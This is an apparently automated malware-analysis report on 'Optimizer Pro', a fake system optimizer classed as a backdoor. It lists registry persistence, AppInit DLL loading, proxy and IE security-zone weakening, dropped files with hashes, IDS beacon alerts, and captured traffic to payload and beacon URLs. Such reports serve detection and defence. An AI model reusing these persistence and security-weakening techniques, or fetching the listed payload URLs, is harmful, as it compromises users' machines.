[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"72758a5d" = "///%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"Mode" = "4026531840"
"Version" = "22022093"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"27ddcf6f" = "///%"
"d1abcdb6" = "///%"
"0c230bcb" = "///%"
"38583bc3" = "Ml/2/CF/M//g/CZ////%"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Desktop" = "%Documents and Settings%\%current user%\Desktop"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"date" = "1410913260"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"svn" = "Optimizer Pro Crash Monitor"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"6185d035" = "VP/h/CP/V//l////"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"svi" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"a1dcff5b" = "V/////%%"
"587b5709" = "V/////%%"
"27ddcf6f" = "///%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"fe94ce1e" = "V/////%%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: User" = "%CurrentUserName%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"bbf88800" = "///%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"svx" = ""

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"7367429f" = "///%"
"1520c6f1" = "V/////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"a0743acc" = "N/////%%"
"2e22d94e" = "///%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"a0743acc" = "N/////%%"
"7f69fa1f" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: App Path" = "%Program Files%\Optimizer Pro"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"060df2cd" = "alAl/YP/b/Af/X6/UxAp/X2/GxAk////"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"QuietUninstallString" = "%Program Files%\Optimizer Pro\unins000.exe /SILENT"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"dbaf3ce3" = "/P////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"LRTS" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: Icon Group" = "Optimizer Pro v3.2"
"DisplayIcon" = "%Program Files%\Optimizer Pro\OptProLauncher.exe"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5]
"data.1" = "tcYmlXnbhXfCvqomjlfTtrWDHjHGD5C/hpYS4OrJBb59uWY8Cpm7IS01GG81PfV6/ Xc/fz0viQF0gx1l"
"data.0" = "eKEeALFyxCug0Mpnik8pZyY O8xq3E CHLu/ksVV9WKfLvMiY4chTTcUrXhpKiIzwKs2LLiV7ZbbbIZQQX dFarHVN"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"060df2cd" = "alAl/YP/b/Af/X6/UxAp/X2/GxAk////"
"51d2f2ea" = "IlAl/YP/J/Af/X6/PlAf/XD/blAq/B//VP/j/Cx/V//j/CD/NP/3/Cb////%"
"48bd1aff" = "VP/l/C//N//l////"
"414bc593" = "///%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"c6c5dd44" = "V/////%%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"65114b36" = "VP/ ////"
"2d71d5ab" = "V/////%%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Documents" = "%Documents and Settings%\All Users\Documents"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"Inno Setup: Deselected Tasks" = ""

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"d94388d2" = "alAl/YP/b/Af/X6/clAu/XZ/UxAp/X2/GxAk////"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"fe94ce1e" = "V/////%%"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"3c09c42b" = "///%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"3efeb33e" = "nU1U07x0m01M06E0ql1M06E0iU1N06t0ml0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl1D06I0pU0S06h0nl1A06E0, nU1U07x0m01M06E0ix1O06h0n01D07x0jx0S06h0nl1A06E0, nU1U07x0m01M06E0mU1P0780pl0S06h0nl1A06E0"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f6ad6fa6" = "VP/l/C//V/////%%"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"48bd1aff" = "VP/l/C//N//l////"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"8b9e4cbc" = "V/////%%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"CommonPictures" = "%Documents and Settings%\All Users\Documents\My Pictures"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\00000000]
"493c7345" = ""

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"7367429f" = "///%"

[HKLM\SOFTWARE\{6791A2F3-FC80-475C-A002-C014AF797E9C}]
"ca82e1a5" = "%Program Files%\Optimizer Pro\OptProCrash.dll"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common Programs" = "%Documents and Settings%\All Users\Start Menu\Programs"

[HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows]
"LoadAppInit_DLLs" = "1"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"f6ad6fa6" = "VP/l/C//V/////%%"
"a2e3b941" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKCU\Software\AppDataLow\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"e46c271e" = "///%"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1]
"UninstallString" = "%Program Files%\Optimizer Pro\unins000.exe"
"InstallLocation" = "%Program Files%\Optimizer Pro\"

[HKCU\Software\Optimizer Pro]
"CBM" = "1"

[HKLM\SOFTWARE\{1146AC44-2F03-4431-B4FD-889BC837521F}\_ca82e1a5\eae10f9d]
"37b7a6d8" = "UlAr/XJ/c//k////"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Backdoor modifies IE settings for security zones to map all urls to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName" = "1"

The Backdoor modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

"UNCAsIntranet" = "1"

To automatically run itself each time Windows is booted, the Backdoor adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"Optimizer Pro" = "%Program Files%\Optimizer Pro\OptProLauncher.exe"

The Backdoor modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass" = "1"

The Backdoor deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

The process OptProStart.exe:312 makes changes in the system registry.
The Backdoor creates and/or sets the following values in system registry:

[HKCU\Software\Optimizer Pro]
"homepageurl" = "http://www.pcutilitiespro.com/"
"BuyNowURL" = "http://www.safeshopgate.com/r?s=111000931-GB-006&g=DDD80329-92FA-94F8-5ABD-5736866BA07C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKCU\Software\Optimizer Pro]
"UseAds" = "1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"

[HKCU\Software\Optimizer Pro]
"ShowEUA" = "1"
"AdsDownloadURL" = "http://dl.repairlabshost.com/121000931/DriverPro.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"AppData" = "%Documents and Settings%\%current user%\Application Data"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "3C 00 00 00 13 00 00 00 01 00 00 00 00 00 00 00"

[HKCU\Software\Optimizer Pro]
"AppStart" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKCU\Software\Optimizer Pro]
"UninstallURL" = "https://safecart.com/pcutilitiespro/.op-special/purchase?sid=111000931-GB-006"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Optimizer Pro]
"DelayedStart" = "5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Common AppData" = "%Documents and Settings%\All Users\Application Data"

[HKCU\Software\Optimizer Pro]
"WelcomeURL" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKCU\Software\Optimizer Pro]
"SupportURL" = "http://support.pcutilitiespro.com/"

"ScanAtStartup" = "0"
"Querry" = "http://bi.softservers.net/t/op?sid=111000931-GB-006&dt=%dt%&gid=%GID%&tz=%tz%&ln=%ln%&lc=%lc%&bis=%bis%&bief=%bief%&biefx=%biefx%&bif=%bif%&os=%os%&f=1079441509"

[HKLM\System\CurrentControlSet\Hardware Profiles\0001\Software\Microsoft\windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKCU\Software\Optimizer Pro]
"AdsBuyNowURL" = "http://www.safeshopgate.com/r?s=121000931&g=DDD80329-92FA-94F8-5ABD-5736866BA07C"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "A6 A5 FF 94 6A 13 C1 FD 5E 78 D7 FC C2 90 E4 95"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"MigrateProxy" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

[HKCU\Software\Optimizer Pro]
"InstallDate" = "32 9A BD C3 5D 75 E4 40"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Optimizer Pro]
"AdsHost" = "dl.repairlabshost.com"
"OS" = "102"
"MachineGuid" = "DDD80329-92FA-94F8-5ABD-5736866BA07C"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Backdoor deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"

Dropped PE files

MD5 File path
a4c19ad01843bdd6c0db327d76bc7b8e c:\Documents and Settings\"%CurrentUserName%"\Local Settings\Temp\optprosetup.exe
2aab8a25c4c60f865ad2d3c1cb9dc4a4 c:\Program Files\Optimizer Pro\OptProCrash.dll
f2f22aa1b0bf763b4d278f07ef8e8d4d c:\Program Files\Optimizer Pro\OptProGuard.exe
b6030bd66dc61c46a768dbc0edf3c504 c:\Program Files\Optimizer Pro\OptProHelper.dll
246b78ed9b115b7278c0f82864f0130d c:\Program Files\Optimizer Pro\OptProLauncher.exe
95ba0d023f33dce9e4fc182b967f437e c:\Program Files\Optimizer Pro\OptProReminder.exe
323938888446880748944113bb3af2fa c:\Program Files\Optimizer Pro\OptProSchedule.exe
1db75ea067d9fd636b1cdcf4f2830606 c:\Program Files\Optimizer Pro\OptProSmartScan.exe
019ccd838347592c833938e2ba6a3419 c:\Program Files\Optimizer Pro\OptProStart.exe
da03b0e465a8c02b43f1674d06998260 c:\Program Files\Optimizer Pro\OptProUninstaller.exe
2cdec564e18dfde977a78595085b254a c:\Program Files\Optimizer Pro\OptimizerPro.exe
d82a429efd885ca0f324dd92afb6b7b8 c:\Program Files\Optimizer Pro\itdownload.dll
0f66e8e2340569fb17e774dac2010e31 c:\Program Files\Optimizer Pro\sqlite3.dll
c530f044f7922aeb60e75999fb4aa00f c:\Program Files\Optimizer Pro\unins000.exe

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description:
Comments:
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
.text 4096 83149 83456 4.55467 85b2050c503ac757a6d6465071ba1133
.rdata 90112 20754 20992 3.39289 876ce2f9975e53a8862039bc1873d07a
.data 114688 13444 5632 2.15756 2cef89c59f35f4fcafe95749186c0933
.rsrc 131072 5808568 5808640 5.54241 632886d20194175ee39f1a28526e7a43
.reloc 5943296 21804 22016 1.45894 8cd63efff8ffd397e872dcb99f996ced

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 74
2567704a538f212ce5b5661a4dd66df2
ae95eff56eef655168403745b2229e6d
1762d3e92476437c437e39aff8a28c98
d6ebf3a4854663956c38c74403b1d73c
782e46020255ff1ce037022bac85a4d6
b71365edce1c380cc96497ce44e6a855
cb12d458ccf8756d151d73025b44856a
4595297457ec5fa0b3c7130d79b78afa
7b00acd289730de8546170f44bf39aa3
4578f86fa1ca1df34059808a902443c1
93da7b4274baa1426c00d878fe98f281
bd0063fedbcdea950443690808d0a941
3101518416394907b26867de8221e0e0
97bfc72d533da8d8c71afce2522a848d
e41f6f8366ea3b916b341b9d344d9a1f
5cdda6af7bacc3db345a724820fba90b
e33b3a1e20a9fa3b6bd160147761873b
d8cadee07d1ea76fab9c52bb51330cf4
0742dcfbed308a07c7f492a921765621
cc7b4434eb70e2da55df115a8997059c
8a0ea79021adfdbc0e20cc64e9281331
de698a122bd3016ff4e1540a2135d67e
6597d01164f49b9b1b2dce6baa20c599
091c5c6f0cf164b347fd1e5684190762
608b50cf147ea5864b736878cc945a90

URLs

URL IP
hxxp://optpro.info/install/ 207.244.66.33
hxxp://cnnintl-56m.gslb.vgtf.net/
hxxp://optpro.info/get/?q=5McYUO6DY7SCNM9rpnJgUUS5/Yt319GErawHXCbmUxYIlowrbEuhQOy2AP7aqcZmP/P3HKQgpOzV3TrC3Yngi/QAcseT7V+XiSt/a4hqTVL55NEC2s4zJ66/PIg0uZTTG4juVmurkgCMhvzTXas04SL6YrW9jdTYansM7wWUtH+kIjTLcg/4c9P/RDSOE8Qn5JTSIEg4PiYscMp47z9/+E520SL9oEwrw8swEI+Lp2RHKqawyR2bsf4WXEjg2HeTsVnlcUtcAOmbJIS1GDWhAjs+YyK9i+X9fqBNnrnU/5a0tViU+lAYFRy/vlXY179uHXgBUxGRTFG/v13K7LJ+FPyYm9SUKI4dG4P33R3CUi2FKEZhgqxrp8D+DE/7e8yJ1wzusC4fLTiEV0StzKPMh4MI1AUcyYXgpd/uoYhaQhZ+CHf4FC/aGFAVUeMk+N0XOyE4/1i4bC+Y7EROZCGe0rfodcONlAJ34VkB6TD4c4GFbjiZvTCxgSR7n/wH84IJC9nRnjwgrUrHafdJaoh479CMwwi+ap9/XZ 207.244.66.33
hxxp://dl.softservers.net/171000931/LiveSupport.exe 108.163.210.20
hxxp://bi.softservers.net/t/op?sid=111000931-GB-006&dt=1410905965&gid=DDD80329-92FA-94F8-5ABD-5736866BA07C&tz=2&ln=1&lc=0&bis=0&bief=0&biefx=0&bif=0&os=102&f=1079441509 107.6.170.117
hxxp://edition.cnn.com/ 157.166.249.13


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

ET TROJAN W32/SpeedingUpMyPC.Rootkit Install CnC Beacon
ET USER_AGENTS Suspicious Win32 User Agent
ET TROJAN W32/SpeedingUpMyPC.Rootkit CnC Beacon

Traffic

GET /t/op?sid=111000931-GB-006&dt=1410905965&gid=DDD80329-92FA-94F8-5ABD-5736866BA07C&tz=2&ln=1&lc=0&bis=0&bief=0&biefx=0&bif=0&os=102&f=1079441509 HTTP/1.1
Host: bi.softservers.net
Accept: text/html, */*
User-Agent: Mozilla/3.0 (compatible; Indy Library)


HTTP/1.1 200 OK
Server: nginx/1.4.1
Date: Wed, 17 Sep 2014 00:21:10 GMT
Content-Type: application/octet-stream
Content-Length: 0
Connection: keep-alive
content-type: text/html


HEAD / HTTP/1.1
Host: edition.cnn.com
Connection: close
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)


HTTP/1.1 200 OK
Server: nginx
Date: Wed, 17 Sep 2014 00:21:00 GMT
Content-Type: text/html
Connection: close
Set-Cookie: CG=CA:QC:Montreal; path=/
Last-Modified: Wed, 17 Sep 2014 00:20:09 GMT
Vary: Accept-Encoding
Cache-Control: max-age=60, private
Expires: Wed, 17 Sep 2014 00:21:59 GMT


GET /171000931/LiveSupport.exe HTTP/1.0
Host: dl.softservers.net
User-Agent: InnoTools_Downloader



U.R..]............AA..:C.......U..V.....AA..$C...E..t.V..:.......^]...
.........U..QV..j..M..:[email protected]..^..].......U..QVW..j..M.
..0...G...t....s.H.G..w........M.#...0.._..^..].......AA...........U..
QW.9..t;j..M.../...G...t....s.H.G.V.w......M...../..#.t.....j.....^_..
]......................................U...E....u..y..r....E..U....]..
..y..r....M.P..E.PQ..9.....].....U...E.VP....B.....AA...^].......U..V.
.V...AA..g5......E..t.V.<9.......^][email protected]<.2.Q
...I0 ...^.................Q..Q .Q..Q$.A..A..Q(.Q0.A..A..Q,.Q4.......
A$.......Q4.......A........Q .......A0...............U...E..M..U ...E.
.......].......U...E..M........]...............U...E. E..M.;.s...]....
.........U...E..V.....AA.t.V.%8.......^].................U....E....QP.
. .....]...........U..S.].V.u.;.t.W.y....WP.. ....F...;.u._..^[]...U..
..E....QP..4.....]...........U..S.].V.u.;.t.W.y....WP..4....F...;.u._.
.^[]...U...E.].........U...E..U.V.u... .QPR..7.......^]...............
.U...E.].........U...E..U.V.u... .QPR..7.......^]................U..V.
[email protected].......^]......
.....U..V....>...E..t.V..6.......^]....................>........
.....U...E.....A..I....#........}..t.j.j..)@..........t5../.....E.P.M.
.E..BA...>..hD{A..M.Q.u..}..E.xBA...?.....t5../...U.R.M....E..BA...
=..hD{A..E.P.u..}..E.xBA...?...l/...M.Q.M....E..BA...=..hD{A..U.R.u..}
..E.xBA..{?....]......U...E.VP....>.....AA...^].......U..VW.}.W....
=....lBA.A..A..Q,.Q4.......A$.......Q4.......A........Q .......A0.

<<< skipped >>>

GET /get/?q=5McYUO6DY7SCNM9rpnJgUUS5/Yt319GErawHXCbmUxYIlowrbEuhQOy2AP7aqcZmP/P3HKQgpOzV3TrC3Yngi/QAcseT7V+XiSt/a4hqTVL55NEC2s4zJ66/PIg0uZTTG4juVmurkgCMhvzTXas04SL6YrW9jdTYansM7wWUtH+kIjTLcg/4c9P/RDSOE8Qn5JTSIEg4PiYscMp47z9/+E520SL9oEwrw8swEI+Lp2RHKqawyR2bsf4WXEjg2HeTsVnlcUtcAOmbJIS1GDWhAjs+YyK9i+X9fqBNnrnU/5a0tViU+lAYFRy/vlXY179uHXgBUxGRTFG/v13K7LJ+FPyYm9SUKI4dG4P33R3CUi2FKEZhgqxrp8D+DE/7e8yJ1wzusC4fLTiEV0StzKPMh4MI1AUcyYXgpd/uoYhaQhZ+CHf4FC/aGFAVUeMk+N0XOyE4/1i4bC+Y7EROZCGe0rfodcONlAJ34VkB6TD4c4GFbjiZvTCxgSR7n/wH84IJC9nRnjwgrUrHafdJaoh479CMwwi+ap9/XZ HTTP/1.1
Accept: */*
User-Agent: win32
Host: optpro.info
Cache-Control: no-cache


HTTP/1.1 200 OK
Server: ngx_openresty
Date: Wed, 17 Sep 2014 00:25:54 GMT
Content-Type: text/html
Transfer-Encoding: chunked
Connection: close
X-Powered-By: PHP/5.4.16
0..


The Backdoor connects to the servers at the folowing location(s):

rundll32.exe_240:

.text
`.data
.rsrc
msvcrt.dll
KERNEL32.dll
NTDLL.DLL
GDI32.dll
USER32.dll
IMAGEHLP.dll
rundll32.pdb
.....eZXnnnnnnnnnnnn3
....eDXnnnnnnnnnnnn3
...eDXnnnnnnnnnnnn,
.eDXnnnnnnnnnnnn,
%Xnnnnnnnnnnnnnnn1
O3$dS7"%U9
.manifest
5.1.2600.5512 (xpsp.080413-2105)
RUNDLL.EXE
Windows
Operating System
5.1.2600.5512
YThere is not enough memory to run the file %s.
Please close other windows and try again.
9The file %s or one of its components could not be opened.
0The file %s or one of its components cannot run.
MThe file %s or one of its components requires a different version of Windows.
UThe file %s or one of its components cannot run in standard or enhanced mode Windows.3Another instance of the file %s is already running./An exception occurred while trying to run "%s"
Error in %s
Missing entry:%s
Error loading %s

OptProStart.exe_312:

.idata
.rdata
P.reloc
P.rsrc
kernel32.dll
Windows
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
EVariantBadIndexError
ssShift
htKeyword
EInvalidOperation
u%CNu
%s[%d]
%s_%d
EInvalidGraphicOperation
USER32.DLL
comctl32.dll
uxtheme.dll
!"#$%d
IE(AL("%s",4),"AL(\"%0:s\",3)","JK(\"%1:s\",\"%0:s\")")
JumpID("","%s")
TKeyEvent
TKeyPressEvent
HelpKeyworddRA
crSQLWait
%s (%s)
imm32.dll
AutoHotkeys\
AutoHotkeys
ssHotTrack
TWindowState
poProportional
TWMKey
KeyPreviewP
WindowState
OnKeyDown
OnKeyPress
OnKeyUp
tagMSG
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
User32.dll
getservbyport
WSAAsyncGetServByPort
WSAJoinLeaf
WS2_32.DLL
127.0.0.1
TIdSocketListWindows
TIdStackWindowsU
IdStackWindows
%s, %.2d %s %.4d %s %s
%s, %d %s %d %s %s
password
Password
IdHTTPHeaderInfo
ProxyPassword<
ProxyPort
Mozilla/3.0 (compatible; Indy Library)
ftpTransfer
ftpReady
ftpAborted
ClientPortMin<
ClientPortMax
Port
EIdCanNotBindPortInRange
EIdInvalidPortRangeSVW
libeay32.dll
ssleay32.dll
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_certificate_file
SSL_get_peer_certificate
SSL_CTX_set_default_passwd_cb
SSL_CTX_set_default_passwd_cb_userdata
SSL_CTX_check_private_key
X509_STORE_CTX_get_current_cert
des_set_key
saUsernamePassword
Password<
0.0.0.1
TIdTCPConnection
IdTCPConnection
EIdTCPConnectionError
sslvrfFailIfNoPeerCert
TPasswordEvent
Certificate
RootCertFile
CertFile
KeyFile
OnGetPassword@<F
EIdOSSLLoadingRootCertError
EIdOSSLLoadingCertError
EIdOSSLLoadingKeyError
TIdTCPClient
TIdTCPClientXdF
IdTCPClient
BoundPort
PortU
Uh.qF
CommentURL
TIdHTTPMethod
IdHTTP
TIdHTTPOption
TIdHTTPOptions
TIdHTTPProtocolVersion
TIdHTTPOnHeadersAvailable
TIdHTTPOnRedirectEvent
TIdHTTPResponse
TIdHTTPResponse8
TIdHTTPRequest
TIdHTTPProtocol
TIdCustomHTTP
TIdHTTP
TIdHTTP4
HTTPOptions
Porth
EIdHTTPProtocolException
HTTPS
https
This request method is supported in HTTP 1.1
HTTP/1.0 200 OK
HTTP/
OnActionExecuteX
%s, ClassID: %s
ole32.dll
driverpro.exe
Driver Pro\DriverPro.exe
hXXp://VVV.pcutilitiespro.com
UninstallURL
AdsDownloadURL
HomePageURL
SupportURL
BuyNowURL
AdsBuyNowURL
WelcomeURL
BannerURL
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Optimizer Pro_is1
?456789:;<=
!"#$%&'()* ,-./0123
user32.dll
GetKeyboardType
advapi32.dll
RegOpenKeyExA
RegCloseKey
RegFlushKey
RegCreateKeyExA
GetCPInfo
version.dll
gdi32.dll
SetViewportOrgEx
UnhookWindowsHookEx
SetWindowsHookExA
MsgWaitForMultipleObjects
MapVirtualKeyA
LoadKeyboardLayoutA
GetKeyboardState
GetKeyboardLayoutList
GetKeyboardLayout
GetKeyState
GetKeyNameTextA
EnumWindows
EnumThreadWindows
ActivateKeyboardLayout
shell32.dll
ShellExecuteA
wininet.dll
6!606@6`6
5!5%5)5-515
> >$>(>,>0>4>8><>@>\>|>
0#0'0 0/03070;0
= >$>(>,>0>4>
3 3$3(3,30343
9%9u9
5 5$5(5,5:5
8"9&9*92989
2 2$2(2,20242
5"5&5*5.52565:5
2"292\2?3
=#='= =/=3=7=;=?=
KWindows
UrlMon
0IdHTTPHeaderInfo
 IdTCPServer
IdTCPStream
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
Icon.Data
Could not load certificate.#Could not load key, check password.
SSL status: "%s"
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object7Dispatch methods do not support more than 64 parameters
Command not supported.
Address type not supported.$Error accepting connection with SSL.
Error creating SSL context. Could not load root certificate.
Socket is not connected..Cannot send or receive after socket is closed.#Too many references, cannot splice.
Request rejected or failed.5Request rejected because SOCKS server cannot connect.QRequest rejected because the client program and identd report different user-ids.
Protocol not supported.
Socket type not supported."Operation not supported on socket.
Protocol family not supported.0Address family not supported by protocol family.
Chunk StartedDThis authentication method is already registered with class name %s.
%s is not a valid service.
Socket Error # %d
%s is not a valid IP address.
Operation would block.
Operation now in progress.
Operation already in progress.
Socket operation on non-socket.
No data to read.$Can not bind in port range (%d - %d)
Invalid Port Range (%d - %d)
